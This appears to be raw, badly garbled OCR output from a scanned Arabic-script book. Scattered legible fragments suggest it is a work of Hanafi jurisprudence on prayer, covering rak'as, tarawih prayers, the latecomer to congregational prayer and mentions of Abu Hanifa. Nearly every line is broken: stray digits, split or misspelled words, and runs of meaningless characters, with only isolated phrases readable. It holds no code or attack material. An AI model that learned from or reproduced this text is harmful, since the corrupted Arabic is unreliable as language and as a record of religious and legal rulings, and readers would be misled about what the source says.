2 ران أن ب سخ ٠١ مر سر > جره جر و 2
2 إن فدكاد اث ذفان لمربعدد فلاراسا|
27
3 20 ان 0-6
١ 8 0 ا
ا 0 5 و 6ه
0 كي شود 7 والإحتران »
0 2 0 0
عون لف مسا هامةعا روف ا
ان انون ان | على الر لوعن
ا 0 داري و
زر روؤءة 2
سبه! مالتسا بلئنحول وجهه وقال
0 2 دذى
0 : 2 0 موي ؛ ا
نا ا ددر و00 4 ا 0
ره > 1 6
1م مزه 0 0
احضهم هوان بض دحولدا سوبا يديل 5
2
ا 0 00
2
0
اسه
- 20 0
أ عاهامت: وهددة د
اميه عخليه 5 0 0
0 لس
ْ 00 3 أو
6 2
ِ 7 0 ا
١ 5 0
فَهِ
2000
قبطا عاد و
0
1
1 اناه
ا 0 0 ددن
0 56
جد 5-2 0
سا ل 0 0
00
' 4 ا 221 عو
عا كي .وان بصع لاشسة عدا جارد
د يه “دون 3
وي 2
-26 ص ولحي ار ع ا ور 210
ا
0 و وشيلان صب قرس وصياوا
2 22 وى الري ادي
0 2 كس 0 01
يعبر دداعيه عب هكافيرا شا لتعلي 9 وان يرهم
0 دول 2 52 كم
ا عير ار ير 2
ل ل ل ا 0
ِّ 3 1
ف 1 5 د ا
ات ار سيره 6 |
ل رسا
وأند ودود رعقوان ته ا
]ا لحك در
2 0 5 م 8 ا
0 يان . ''ارسؤوماءد
1 ا ْم
تنم لشن لور رازه ا 5
0 9 ع سق ب اس 9 ال سس عر س7 ص 2
2 أوثدٍ أدج | نا يدخل يديريكمبه
31 00 . عن
0 كبا 00
0 ور ١
ان اق فضي ا اوور
2 سام وين سيا و اه عردا اعاى مور ١
لجرا ول سم
27 ل ا ترا
وي -- مض
389
6عزقء دوز فا 6 أ و وت ره 2 00
الوسط و و 2 ورم كلا
| 2 م 7 م 0 0
رع دصر كد وم سر 2 ا
يريس وب 57 اخلايَ و
0 رو وز 2-2 1
5 ور
7 ا 2
0
53
ْ و
١
ور سد سر سس 2
ركاه رار سو 0
0
: 0 0
0 وب فيص وإزادوعامة وعناجحنيفة
2 اين سي ”ان
1ن ميت
ا
و 1
اينع اي
ير 0 0 0
2210 0 مرو |
بأسراذاحلاه َوْللاو< سو و بكرا
0 2 ئر
أن “جم دجي 0 ور
ون
مدق
ل مث رز
بلصلاو و لاضن
ين “ليع دتري ضدد
4 ا
انارت
نس
#آ#ت 0
علا و .١ح وا سات جر. + جام ده
: 00 وأدخ ده ست بوبه اومئو ىى |
5 - 3
يم
اه 2 5 500 000 جْ
نجسو ء انا يمرو صابعهوان بشيك ) ا
را تدج “ريا
0 0 رق ار 1 :
ا 2 سر سس سه 3 سس سس سه _- 0
اتاد بعل
4
ووو او اص ص صا سد سدس و
| كاجو ميسو بوهرة 0-0
ا 6 0 بوحي/ 5 و ازور 2 ّ
52
ا زه ل مه يمد 2 عر
سم اا د يعض عيِندة
اع و 4 7 5 ري
در
3 و و مه -
5020 0 وبا يمينا
ع 20 5 0
قاد
ا صر د د سر سس مم , ٍّ داه خاروز دخا ره 0
00 0 كضرا دافا
5 ديول يي 9 دمح 0 تلذى ا
سسبو زر
0 م 7 0 5
”2 2 داسر مط د رةه 0
-
ن صود ا وما كسا ر
ادن 0 ريو ١
-ه
خيم
2121101 72
وك
ل 30
سعالها
-.
| صم 00 هه م ا
. ا وأد يرذا لسلا 0
٠ 1 3
6 ع 0ن د وموطجو]
2 0 ل 1
, 1
2-1
0 5 20
أم وديا بيت لاه
5 مص
ع
2 0١
هه سعر ع
00 - ءا زوق اع أوان
ا ا 1
0 0 تت
00 -ه رد
سق سس صرف
وأنيد تلع مارسن١ 9
3
226 لله
يدا فد
2
ا #ط 7
ام 2 ا
وأند 2 تي
ا و 0 ا
- 2 ثرا جد
5 حِحَيْعه وده لمن
سس رجه 2
10
0
1
له يسمه
إن كان فليا ان
-ه
3 53 “قزر 3
شرو
1 1 ا
دعسل وا انحين
اول
٠ 1
000
رق
1 ُّ 0
0
وس و اسح سس ساد
شعامر
3
لا
22222
لودو ب 7 ل ْ
0 3
6
ظ ا يا 0
4 20 00 0 ا ١
د اد 06 م |
غقير 2
ا رو مر
ظ ناد ار ومو كرك
كر 3 2 0
يي 9
5
وص 3 5 عَدَحَإِاتَوَوكية مهو
2 كن -
دهم -ه
كي
0
0 20
هر
د 4س سس 2 0 ع ص دم
ا ب 1
| اي 0
َم
0
0
رعو اود رملد”
6 مس اس
8 احاح وصلوة» بل شه
3 تي
ارا
0 اليد
200
0
ار 3
200
21
7
5
2
0 7 أ
وكالوه راض كارن
بدك “شدري #يل]
006 م
د او 21
0 2
2 ار له -ه د
5 0
0 2 8
دوى مببار. وض وى تين
07 ار 050 0 ص 0 در 1
نوكتم الود 0000
00 0 5 0
| 0
22 2 ه6 دوعا سزها
0 را
ور سه لوو
سد جره سه سرلا سام سر 6 |
د و
0
فاذيان
اطع و يا
00
0
. 0
ا 0
فطع ع5
دين
وم يسام
كيين 7 اددهم
1 0
22 و2 صر 0
7 17 7 2 وو عر -ه سير وبكه
١
ا
مع
اد
0
7و
يض
5
00 0 ُ
02
و
0
ره 2 2 عر 0
اليد ببزافداو اميد
20
ا
02
2/02 0 3
7
لوا
53
م 2
و ص0
اد مس ا 0
داعرق 0 ١
م ا
ءات الو 0
3
2
0 5
020 سارو
ا كر
0
20 3
-
2
ن١
22>
"ون
ها -_
1 7 3 ودرا
9 م 3
0
026 4 سه ساسك يأ
للرفعيودان/
ا
وه ره 0 “4
2 ع .
موا لين ذو موصن 00
0 ا وي 0 لاد" 0
00
0 اليد
مودو وأن نيص
ل 7 0 لور
١١ ١ أذ ا --ه
ونان سبيت د ارا سرع
١ 0 ان 0
لشن د 000
يي
0 5220
9 23 2 50 5
0
0
: 0 0 14
2 ل ره 2 2
بي 5 عن مود
5 .و لبنه» در
3 يو 0
م يس ور سر و سر صر
2 0 واوا لتَيمرَالمَقٍ
ل 10 0 0 كرتن
سوه مزه 0
سَ ريا نَ 3 :
رم د مأ او يه 0
2 0 م د 23 7 7 كي
ص 0 0 وى 5 201 دسد
ان
١ | ذلا لوال الوذ
5 0 8
0 1 5 0 ا 2 5 ا
ومركا
0 0 2س ب سد رص ١
رِرجإقاعِدٍ عذث أوص ويد يريم ككف
-_آ-- ا
ار جر قي رةه :
0 مه مره ور 20000 2
ةل
ا 5 7 1
ظ م 3 2 ع لاد ار
5 0 و سام ده وس در
د دير وك مه
7 رز ور جر حي
8
00 22000 2-0 1
0 شو سيا ا م
56 2 3 اق
د وا لاوا 0 ل
برأوصو رةمعليةواماا: كان 20
| موه 0 0
ور ل
خى
يأع يسك 7 ع 02
خخ انزو و4 .«
1 ع م 2 7 0
اما ودار ره 2
وكا دنت صعيرة لابرد ع 3
ع رن دون تلاق مي 7
ا
بلدت 2 لاض روا لبود وسار ايعرش
عي . 00 6 لضن
ْ هر 0 0 | ايا
داكن دشيعوا صل “عل الارض وما نبتهالاضا
ذي. الى 7 007 3 تر قود
يم 1 9 0 3
اع مسن
فصول بسر يات يكون ناسود
س6
3 9 ره 7
ل
17 ار ده
ار براراو
ومجوده ا مدان سوم الما 7
0 ا سر 0
جره ١ ١ اع
ك0 0 00 00 امئا.
# اي ابم الو 00
00 يم فم 510 ٠
1 6 لكلا لد 1
0 7 ا -022 1 مي
م يت 0 1 34
0 د 0 ع 59
2 52
مقر 0 0 ظ
0 0 نيأ
رةس
37
00
. #ددر|
سم
0
سر اج جر اعت ااا
وه ع رو توكو و
ادزير
0
ده
2
ا لقاو كاذ
0
37
3
0
52
5
2 .:
/ 2 ا
وساي امسو دحتا سا اوور 5 0
تانق جد كلم اموت لات :
7 27
2 ا 7 0
ا 12001 مر ودع ا
لإمافران بوم فو امجن كا هون 1
5 0 0 د ّ
ؤ اي لو شري “ل ىن ْ
ا كبس لا م سم ةب لس سر ور
أوان 0 لطبل وان » 0
ْ 0 2 سر
» 3
آ تان ا
ظ 0
| ا َ ا 0 0 ري ا
جربل تسر و س0 6 ,و بزع سر 4 ادكه
: يوأي عوك لكا اسرمة
بعس دعب 0 1-1 :
ان. 0 روج
ا
5-5
1 4
يي 7 جين سق قر 0 2
ب ع0
0 |
4
7 ل
13
ع2
2 َ
عدي ا
كرت تنكو ته لابه 6 ْ
لو 7 1 1
0# 0 ةا
ب كلبكك لتك مون كمع 01
0 اي
سكم يدبك اد |)
4 كك م
الك لمن لاود داف صر رجا
درى افام.
1( 0 رس 1 ليم
ٍ و ل لام
0 0 “مي
لازي لي
10 0 0
وهاي 0 عل د جر ميد او ا
1 0
2 ص
رو م 2
5
كان لاشيم مشضه
0 لي د
ل
ين 0
و اليد 1
57 1
عه وأنمصعلاجاد
قير 0
0 0
ام-1
سس عر سن م 0
حي
ص ماقي دي
دزو 2 بر 16
3
00
ع /
ار 07 2م
0
0
0 1 07 020
ا ع 3 2 سرله
0
م ف ظ
7
و و ب
براسم كار 06 مؤفست
3 8 0 1 5
د 7 ل م 0 ددر
7 0
0 د ير
دبأ سب و 008 يدى١
223 اعرد وو دس
6 2 لس 1 8
2 0 7
١ 22 0 5 5.2
0 ا 5ج ١
1
ور 1 0
لكام 0
سد امرش و اس 000 9
و 31 01
و ين م ناما 7 نأوسقددٍ ا
2 .
2 الى 00 تدا كج
0 1 در
00
ار 00[ دري 0
أ 8 لكوع مسَعيما أصَايعه و واإفواشا حالسك ا
د 1 2 2 0 ا
0ن 72 0 و0 ١
ْ سس سد خرصظ و و7 و | ٠
7 الع ودعي ونصب ]ا الصِلاة 0 ْ
0 1 9 ري 25
0 5 م
006 “منج 4
0 ل
اجوز ادوم ا
539 0
و رق 9 ا 0
0 الضرؤا ونان
عازه ا الجن
0 الما لمان وات ا 5 5
ا يي
دزو 0
وروي د اليل معن مسن وساب
و ا 0 :
م واد
3 ار وه 0 2
اه 0
0 17 4
2 5-0 ن كد
0 2 0 0000
ره س2 س0 1 وروا ره سه م ثرو سر سس
م
6 8 . 0
١ن
ونس 7 ]سويت
0 اا ار
( ا '
مس توك واس اين .
201 5 م 0 يق
ا
ا 020 0 1 ع 8
0 0 رهموعند س0
و 0
5 ص -
د 2 جز 220 00 5 و سرس سر( جرحت 0
10
- رادت م 231100
شر 0
8
00 و سمس يهو سه فسا 5
اين سا عزمويائامة ا
0 00 9 م 00
»١ 0
ذموضِممم رونا ماده مانن اكَوكاتَ
0 ملي 0 00
2-2 ا 1 ات
ول وس ف وا انهم اماع
1
20 لمان ويم بد
1 ا ل له 5
لاس تمجاه ره
فى أده - امار
هر 14 رط 0
يا ير 2
700 يولم با أحد د بتر
1 [ث لمر 2
حنم
1 ا
6ج ير
0 وى ان
ةرو ف مره وه م ترم 50
اللو الاير وا لابن [
| ««دين لانن 0 و تيو اللاوير انرا
27
0 0 ا سد سس صس سس 8 0 97 سانل
ا مواق أنه لاحب م ييه ا
50 ا اد
0 ١
0 216 دس 2 ١
َّ أ ا و 0 در
الوص
1 211
'
وت
ع “م 5
2 عن بكو سان نضأ انوا
ا 0ن 04 وي -
نات ماك و02 اه علووهو |
ا و 0 0 الى ا 3
00 53
0 3 3
0
دالا ا و م و
ل م 07 00 يح “انا
م م
م رو 2 6
وو ترص ارجا اممتّصلاةا لسن
لج 0 0 ري
2-22 2
7010 لاض ابره
3 6 اج تلم
7 فعزا ات م 5
ظ 00 1 2 ص دن
11
ا 2 0
ااي كيم حرام لما 0 6
لفكت 2 لي 0 لور
مجم لسري انا لل
د 0 وم 5 0 0 ا
ْ وم نا إساه الم با طار دراو
[ ام ليا :
5 1 122 ا
2 0و 11ل 0 عن 0 .
5 35
عوط يواه رموش
ظ ١ض يي اع ري 0 وس
0 ا وت اعزدارة اس 0 ا راسد
0
د 1
م 2
دك د ا
0 1 ع
نكا عله فوا لوول لوصف ٠
د يب 0
308 رهم
اخ
9 5 5 أ مم
ل
0 وو ل سو وعزما لدت
0 ل اذا ادي فعاما ضار
0 “زم م 5 2 0 52
د
1 5 0 م ب
انّمنادا كيد عه ع
او 3 ل را 0 007
م 1
00 0 مه 0
0 ا <الظهر
0
ا
00 7
لاي
امي 000 َس --
00 7 هم كر
١ ١ ثر زمر ين #0 رسكم قر
نال 2 ا صق دم (
تي يي ددا
سم 53 0
د 0
ولوقت سمه فال ده
ع 54 و عر
هذا لدع يراه ماد" و 0 2 عاق
و 0 د 'ثلاق قي 0
2 2 دددةم 29 0
: 5000 ليون ظ
2 ا 0 : ا
5 دري
الل م 2 ل مما
فطكام بس لاض وواء ةلسو
5 م
00
0 لون
-
2 0 د 0 20 1 ا
مه
2 كرمأ ذه يدعو تنوك ول ١
لح ب 5
عب , ا
: م
د #ى ا 0 5 م
“لاه
0 ٍ!
ياه 25 كي
0-0-0 “ادر
رس ص ص ب د
الوق قَلدٍ وو لان اك ا 0
| ني د تون ا دو
ا 0 غضم ا
و لوو وو لمع
6 “يترود 0 ابر 3
| ار 06 مو 600 0
ا تيمم متكا عب
زر زلا 8 ا 1 “6
26 ا 4 يتم ا
تمتو د ل ضر ا درا
# كه و واي ١ سس اسه ا
الاصمر 2 ْ
ا #2 0 لئاو ددجي سر عزوم
0
اي
ره 2 عه عر
ا 001 َس ا 6
. - ره فن|
26
ل سج جر عا بس ص د سد ...ف د
م
َيه 7
م ين
1 و 520 ١
0 م
اد اول
يم 2 1 : 77 واجره « 0 ٠
22 2
| 1 درن 7 لم 3 0
48 سس ب سه سس ور س8 06
بالجماع ردق وصسلرا على 0
روا 5 الور <١
د ١ ا “ادي
2511
40000
ا
لصا وان ضوع بنيد 2
-
5 اص ره ِ
مص دسو 0 0 0 من 0
م
ا 2و١
ا 2 1 ل ان
روط
م ساسا 0 0
ظ لس 2 3 ا
جح د
2100
7
هدقع 5
زو
را 021014 2
تن لك
روه د برو ا
0 قي 2 1 0
207
ده
زه الغليوء
رار 0م ومن رمدت بد اد رموثر
0
- 007 مس جر م 5 مدأ
هذ ودش لان تعر 16 رم
مده مر 0 د 0
0 0
0 وسو م
ا م
دك كمضا لادوم عاقيا
0 6ج : 02 ساد يدوك دتياول
١ 7 0
ن حبش ندر ا 8 6 0 2 هامأ ركعت نافليال
ا : 0 0 3 3 226 0
0 0
ا 0 اوه رن 0 0 ا 0
دم ا دز 7 7 للآمئ دوددى بتكهمان
١ 20
ده 0
ع راف رج مزع حتاو "سر 0
ص صِل امل فل وا عبرم 52 1
«< 7ع اليا
0 27 3 0 _ 1-0
اام ىر 2 2 مع 9
له ثور ور مد ك4 حل 7 م صر
0 م 0 اليا 5000700
ع 0
َ 0 لسر بو 2
“دي
0 وا 0 50 د 0 لف
ا : 5
0١ 0 00 8 0 2
44 2 و 36
0 تي نر 0
1 | ال اران
سس 0 ل
0
0
لاي مويل
در شاي قرس جل ل
7 2"
دده | اس صا 1 10
00 85 0 00
0 0 0 0
ظ 00
ا ين 7 بر
8 3 در > 0 0 ل ره
2 ا رط سه 0 5-0
ا 2
ْ 00 8 ا رخ 66
تو الى لادى .يي م 0 3 0
أ يس 020
الابما 0
كن 0 2 2 0
دي ١
1 ا 01
المكقاب هي لرراء 0 2
4 د ا 3-7
لان 0 ا 000 0
9 5 2 و
اد و ل 22 0 امد :
ا 0 3 0 م
و سس سمس سس 0 م
1 ل 8 2 دانير وصسى ف بيده 2
ك 0 00 0 26
ماد ا"
فد كلقني وا لذبن
| ا ود موه م د 7
00 إلا ا
--00
١ 2 اك 2د
الوه أن عضن لوي ا اي
ا
دوين عا 0 و
0 0 3 7 ري ين
3
دزي 0 006
22 .0 22م درن
0
2
عد 8 53 ع1 ور 2 0
ا ١0م لْيَدِمِيت لاجو
١ 0 5 قد
212010 1
و4 !| ا تا 0-2 د
وولح فا عع > ص 3
0 م و 0 د ادبي" لطر
وا ا لآ
ص2
| از تس اك ١ يؤل كي لد توي
م د 0
2 دي ير 1 5
ل لو قي ع حير ا
كلاق
ا 0 227 رار خسنا
سبو جوع وتوم اوان سَلنْ و ار
ؤ لون نعود مور وى ترسك
ا زمزم دق 5و0 ©" م ا
سس ل سسحت |
8 لاصيا وو َداوعسَايهمطلقة
0 0 1
6
له و م
لوال ١ يجوز ووشه:
0 حي 100
0 2 :
0 5 مار ولوضيا
الح , 0 بيده
م
00
ناليس 00
4 5
0 عن 4 جر
م2 ار هه ادا ا م
ابروبحه اوترويحاياد خا لذخي ميلف
5-8 5 0
١ ١ 7
1 22 0
يي دكين
58 0
ام ب
0 د
الع مايه
ار وي
س2 و وى رن سس سس 6 سك 54
معد ليسي لاع لوول 12
7 5
م ار ر 0 ف 0-0 1 مر
ا 4 ل ا اي
نل 2
سلما
؛: ع0 سنو بقارا
اج دترا اوصل نا وهزمالدنتظار»
ص 0 1 او بحد سوام كات
7 ان يصلوااريو ركعا تكب
سور ملاس 28
0 0 ده ّ
د مضو سسرة
م يمت أنه مدو
0 أعوّهو ولاح قاد 6
ا
1 20 -_ د دك دس ب 0
كلها لوو وقد يود لا داسك يرك كع
-
ردم
ال ا 0 نر لك
ف
ا 0 ل كلدك حيط هادا
6 و |
52 9 1 8
ار 3 5 ا
ا
وا دار تر 0
0
9 انا ل 0 رو اه 0
210 سه بوش سر سرف سس ثر 2 ١
دس له سا له
“زه و لاود و
١ 22
الست ادم
ا 00 0
ا اسرم-”
َ د 5050 ا
6 لهو ا ريا
21 ساو ف سا مرا سانار
لاود كال سعيا ورد يلص ا
200 مهرب 207 مزه سه رس اورمد جرس ور |
0 7 00 0 بع
١
م ري اج لاو
1 ره
8 وذ
9 دم ٍ
62-:
0
دك ان لم1 00 ا
9 00 0
0
ا 7 و
واه 00 اك
8 3 7
جم 222 2222
0 سر 00
9 0 نهو ١
11 57 00 . ا 7 مم اسل ذه
١ ع / سل عا
0
في دن
م 0
م 0 عر انور م
0 0
يد س8 01 أ ا كا
و6 انا حر ص َواسلمة ا
00 18 00 1 ْ
ا 1 سس سه ثرا 0
ا سه م اه 0 رن
2 0 0 0 ى صدد ليد
او يضح 0 بوث فور
00
بجو يصلون با راع
١ ا ا عو كر مي 0 2
تر 9 00
رس
ع 8 ا
0000
خدكهً ودنام سين ادك نالك فا نعنده
رب 7 نوكر جع
١ ل موران السنقامع ةسه
0 ل ايم" 2 َس 0
09 ا و ا 07 7 نيا
2
1 01100 58 0
١ المسبوق يمنت مع لام ود ول بعلل بوه عاوا نك
2 6 0 0 ا
د 0 7
َ( 2 بو 0 ل 0
: 1
ا ١
7 ص 0 “د صوماوعا, سن ا
و الا كبا بوقيا ابعفي نل ي”
أمدى نو
سى ا
0
2 لذابه ل ولمع أحد دُْهوصِيه ا بر ركوء سجر ايدد واوؤيد
اتات بشن قالمراوتود يم
زرط :
0 00 ري 9 :ا ا وتوت ابيز جره ايدد
3 5
ل ا 1 انيت
ا 0
همه 0 لس مر
7 00 اماما صوص اعد بن عجوت
ا 2 در ىَّ وك لاي ني اير
0
ل تر 1 7
انق نعاده 2 م
لو رده و سه 0 + ج كىن ن
وود م د د
مان 200 43 حاط سيد : شهرا
5 ال 0 ره 5
|
2 لد و يكيان ظ
86
200 0 “مجان 00 أن
دواظر ول شرم سس ١ ور ور 12170
هرد وك جم ةدام المفتيكايو ةراوه !
مور 3 الى 537 ون ا
0 7 اداو 0 2 3
وروي 2 ىَّ م
0 224 0 0 5
4 لواش مروت ان
١ 9 5-5 | اي ا تلان
دو
00 ا
00 داس برقع صوده
7
14
0 من 0 وساب
وك ونيا
١
0
ْ
ْ
ْ
أكون سير سبوا وال بعويحروقه أ 56
درو ا _ و
١ج
الوم وك و 0 0
ادير لكي |
0 00 000
2 0 ا ور دي ١
“لاا 100 78
2
0 9 706 ا
أوصك تعسدها اَن فْصلاراونَ وه اود قاد
اك 2 / 0 مق اي 0
0 2 اكات
6 4د لي 00
ا
0 0
ع “درم
026 00 ا
ام ل ب د
امن و بواومصيب و يعطعب ولد 24 إبإو قاد |
لحر داري تزاج
1 ضٍ 20
ور
ار قر ءاد سه
وروا عر لاد كاه ونف
5 3 او دي ينو - تصارىو
6 5 2600 2 ا 220 6 أ :
قاف داص وق 5 م 4 3
5 /: 5 0000 0 3 925 5 : :
ا - اتلد خيس لاي 00
١ 3 - 4
000 كي 00
م بي وجلاه لاج وسى وروى ا
0 كر 1
0
7 ار رار 4 0 ْ
مد 1 000 7 ' أ
ىر 0 ا 1 0 د نتج
0
١ در
0 0 ار وس ر؟ رار 9
كناو مف
0 8 0 . 3 . 0 30
انر ا 0 8 يد
3 حسو و
هي 0
راوها جم 00 د
ني :
“يد جمد لدان ماق
0
روط 10 5
1 ا يلاله ابه ا
ا اير
دو :لد 22
ار 00 122
در 0 ل
2 9 0 درم
2 2 0 0 ا لان
2 مي 2 0 ا
0 0 1 0 0
00 د
4 ااي 7 ملاح د
يي
د ا ال ص
قن لي
|
20 0 من 8
9 را 00 ا
اح
3 3
0 عرس 13 مره ث0 1
َ 22 اأيغاشٌقعا
وار 7 له 0
ا 8 ا 1 0 ان 3 00 ري
ا دكاو 70
ا رس له 2076 3 ا
لاه 50 اداع لامهاتّ ال لت
دجس عا د
لس مسرا ب 7 رج بجت ركس
ا ب
ا
عل
عه" 2002ل 1 بي 7ق قر جد در 0
١ اعد 200111 ؟ “أمعمط 07
! 0 7 9 شط ل علدء 3 0
ا رضم ون 57 و 6
82 0
6 ماد 5 نك
1 ل تخي لكاي ا د
5
22
ا 6 لو ا
ام م ب 2 در بعرو رة 20
لساري |
ا امن ا 000 ذه
2 جد
١ 001 0 1ه واو ل سا 10و و
ا و0
5 اي 9 ا 8 ا
عرو سس كسس م دك رس سر ور ما
ْ 0 وإفدر د
ع
106
7 سس ار
00 او
0 ا ل"
0
نه س9 وز ا 20001
اب 0
04
الاو بدي
2
8 ١
5 10 ا
0 ا
ا 1
0 0 7 1 َك 7
0 20 كناميا اكد م لسكا لصالات
- 3 20 2 3 1ع نا
2 و
07 0 ني اتوكاد
ا ا
0 وه م 1-2 7
كاك م1 5 روا دهن
42 00 0 00 26
ان 5 0
207 0 م دوا
دان نالدصنن ير
0 .”ددر انرا
0
2
ا دكي
م 3 00 2
00
ا
ده مرش "بر وسار 9 م ويه
اب 9
0 0 رار ددرن شه ١ قربي زا :
000
51 ا د
12 6 4 3-3
ا ا ا :
2 ا ا
0
7 رعق 2 0
ا 0 2 0 5
| عدوا رقم ال دمن راس لتب الا
4 د 0 “لون ف 1
00
2 0 ا د سه
أدهدر دسا - 7
ل إنأسه
0 “ادن ل ات
00 00
ره عرس سرس 2
| أوتمم بي حدر شِدكلكن
أ 0 1 0 0
د لان ا رت 00 0
93 7 1
0 2 3 َّ 5 1 9 0
ا امسا زأودسوط كسد 0 0
6 00 رج م ا
صر سح كيد
وذ 2 0 ره
ادر 010 3-5
١ 35 0 11
. 01 تست ولعط 21 يا
ا د 2
اوج
3 0
2120011101007 000
مره أوعمرنان لاقرسد يلاد
1 0 7 2 0 ُ در 4
للا 2 اللاصام ار و ص سره. واصامت سر
. ا 0 5-535
لور يكن ع
5441
: 2م يجاكه./ر<
م ا
00 ات 21101 ا 0
ي وق ضيه 2 بدا 7 1
ص 7 0 0 00 0
88
7 2 2 ار
0 عاو و21 سسا سد
يد د ى بوط 00
0 20 00
5 وله ةو
2 دوا حا ران
5 2 9 كج كل جد
1 ل ا 0
2
ره
سك للا ٠ج مؤت سذ ىر م 1
وقاذم 5 0
-
7 ع ا 1
لض
1 1 |
27 :
شد شق ب 00 دم 5 1
1 “
مقافي وومةه
و 0 0 وبا
0 6
احروؤداف امن لكان 00
ا 2 5 4 5 ني 1د
سوه وس
لض فقي ل “دوم 1
ا /
]ا 0
ى 5 0 ل
شٍ
دو
عن :5
0
0 يي
سم كه سام
2 0
0 ,
ا
لوَسَيْكدعلْ
ع
ا سام و ده اث و سا وا
7
2 ا 5
: 0
0
0
2 2 ار 20
6 هيه
كارالتعا
1 يطل
0
2
وم ماعطا
0 رك اه
0 و ا
0 لاس نار
00 0 جرت اسح
مه 9
سلا
َ
3
| اسؤسث نود رك برادح ناج
وده المح تلريزك ميارك وس
اسمن يدم زد ركد اكادق
سبهان وتعال ديم راخووح حلا لم
ديم يخود جل ذكرو وك اله الى
ديم والحاصل نودت ثناايد تس
اشون اقل ماكو ج0071
اهدى موس" ك دي
علي وليك
لايد دأسشياذ ,يوقي
ا زدن غيرير مدى
5-6 كاسشتدك زول ما
وصادة |ء. حواب وس
مما ب سنوددر امدع مانام
ايكرن انشرك وديم سيد
0
اوديم لدزمكلن نورججا ذايرم
١ ام
يلكرهان ادن هالينات
انون نشظاماد يدسهكم
كرَضٍْاصلة شين
كي كوك[ د يريم
يوزلماند
والشلام
م
627 97 ا" د م لا ١
أ : 0 ووو د سرف و و
ا وططلب من مسي وآ ياعم لاهن
2 5 دار . سدول. ١
اضر ذى “فى 1 ع 350 عدن |
أ
.اوس سوسس
1 00 0(
ا 1 0 0 5
فى “مض اونما وديا
2 ظ
2 م 54 0 “اطي لور له 0
0
2 رغ
7 25201
ةلالس ول
كي 0 3-9 ا 3و 0
وى
مووي اموي 51 |
0 ناث ضدي لو لضي 50
١ 0 0
دنا وي 0 سه اواو س7 رسو 024 و
ادو قال الهوادن
2
ترب زر لرسطني ودح 0ج 000
در 0 0 01 ا ل
نِ اوحنيّك
2 20 1000 سه فاه 1
١ جنيك 0 0 ذاكادنةا ١
ا ١ مر 4 0 30 ارو بع ا
5 00 6 7 0
١ :
ومما قل م١ بعر يهولونظر ع
م 2 0 ظ
1 2 0 2
00 37 3
57 را 0 0 3
ا
تت د صهة 0/0 ده
ع1 اللا
ويد اودكا
ى.
ل ثور م سر ورم 936 00 4 و
لام عند 2د ا جاو لوس
0 0 ث5 ادي 0 00 0 59 :
0 وه
اومن لصي وراب
ْ 0 ع 0 00 ف 615
ساعن ددجم 2لها ما 25236
ا
3 2 د
دجن
ا 0 سرأن 01 ساد هنك
سل
ا وي
ا ا بوبه
مسد وأ نح ل جسر له مره اومان لانقسد
0 5 ا 0 0 0
رسي مم 4 0 210
2 الدا هرا ا ووش موا ايا
ا 0 1 ١ 0 0 ري
ا 0 07 ار
م
و 0 م ا
7 ود يوار اي نكل
-_- - - ل عد
/
5
“2١ /ه 2 ص
ف
انار رت 1 7
اماد تسد ١9 يك ا
, 3 ا دمو ”اق |
لات بسر سر 0 م
00 0 حده
0و سر ا م 7976-7 22 "رساو وا
1 أوعربايرن فد ولو محم يرردأ
قي 0 0 0 و2 1 0
اا ا سسأ
0 ا
ا :0 زد
03
سد سرس سم وو و ة
بود سلا تيدع عند ايحنمة وبح
0 ءءء
لد 0 ردقت
2 وراد رلا و
0 5 0 ا
ا
1
ا
ا ا
1
2 0 هفصلا
- وا نه ورد زناه ةك وَلَوَ |
00 00 1 1 صرق 9 00
ا مِ ١س هر 7 0 12 وك
أوقالا” 2 قا لاق اسك وإلن قبللت
فصلا
00
.0 50 2 0 3 3 ا
ره 1 0 دم رق 0
5
3
2 أ
ل ع 7< ه90 ل 0 1 وس م
ا وتوا أوجيرسيوة 0-5 ت صالا | ١ه
١ لاى
4 ”اي لان 0 7
ْ أ 0 0 2 2 و
ْ |لناسون اننا تمان مال لاحو
| ا 0 ين رن اماف
1 5 اح
١ 01 0 عه مشي م 0قد
ا اند 1 م رجي داكا اراد اغا
2 ١
2 قر 0 0 ان الو ررقابنا 1
١ 2 م اراب 5226 ور يرم مسر
ا 0
0 0 7 2000
سه مر4
ا ا ل ا
4
ار ل 5
0 دم 0 0
0 تتم
|
ْ وا لصَيْا تكن موي
ا 0 ص 0 مون نا 5
ونوا وار يل طلكا» ا
اكوصسرو ل كه
لبي د ل 0ن
رو 04 حت ا
ل املية مرق 3 مزاج وو لناء 0
ا
ع موي م كي ويل ظ
نو 0504 و 6 ئ# 80 0
78
الشوبيا ' 1 65 امستفيؤ لضب لابضناة /
ا 7
خا
0
لذ 323
2
تيا
مط
يم
وه | جر
7 مر"
هشرنتدينا 0 5 0 58
مي > ار : 0 يي
7 دسو
اه ## سه 2 3 برد و 0
ا ع مير : رع ف قدت وأ
/ غ١
“و 2 0 2 ١ 7ن ع
اسه روم مف امه 0 سراد
220 كوك
4 0 0 ا 2
رو 55 ررد ار رةه سر و
0 كان ناكد
ؤ ا د 9 600 7 0
١ 00 رج 5
ل يه 5 اس 7 وس وى
0 انفلا قدصا لاد
5 ضر 3 وبامريي 2ق تل
595
0 لوقه
سوا هه 3 1
0 000 د ا
ال
00
لي اهيدا
7 3 را
(جى ريال 1 7ج وخر ان كن 00
0 ك1 52 1
روماب وال
ا ا رسا ا ون سن سار
0 كات بدو 2 دايعا 5
ْ 2 0 - و اج 5-9 06
0 0
ون 00202 ةسه ورد ْ
و ادن انيم وضع د |
2 20 5 3 2 3
رن 00 ليرج
2 وسو ا ره سا حا
فلا ركم بودن وان ريزك ع رة
/ 4
وت -8
0 دم 00 2 سس |
ا 6 لايد 1
0 52000000
0 ع« ا ع او
راان كارك
بد
لبي دور 1 2
ا 0 جوت ااا
وان بر 0 مده سنا
از ا 27 اي ئ بجن.
ول اعمالنقة يعرك يفم |
9 سكرير الكو ديهم يواه
د 1 حنو و ]ار .
ا حدمي 0 ا ل
00
دنا لذامرون' 7 وكاس 2 رو
7 و
امد ال
6 يي 00 ذو
م ذكزقز
100 اه
"3 3 ا 0 0
در
و اي
ا ا
1 000
الايد[ ارس ذال يضملل
0 0 ع
دجي 0 :25
ا 2
0 #وحقاره ع دلائدن وذلاندناوترى
0 هدااما ]عدم والتاخيد
0 2 0 ا
1 0 ا د 0
ا
بز اروم ١ 5
َم
3 0 5 0
عِندَكَيَ كيد 9
16 2 0
ا 2-0
سس له رس س سس سر
24 ارك فاخا 1
0 ا
١ م ةوسلا
سي فار اضرف يه 5 جه مرو و .سس 1
أوآداوه مص روحب 0 مامكا ا
4-8 44 35 3
دين . ل انددمز
7
اللا لس سك ص 1 اس ع 71 2 سس
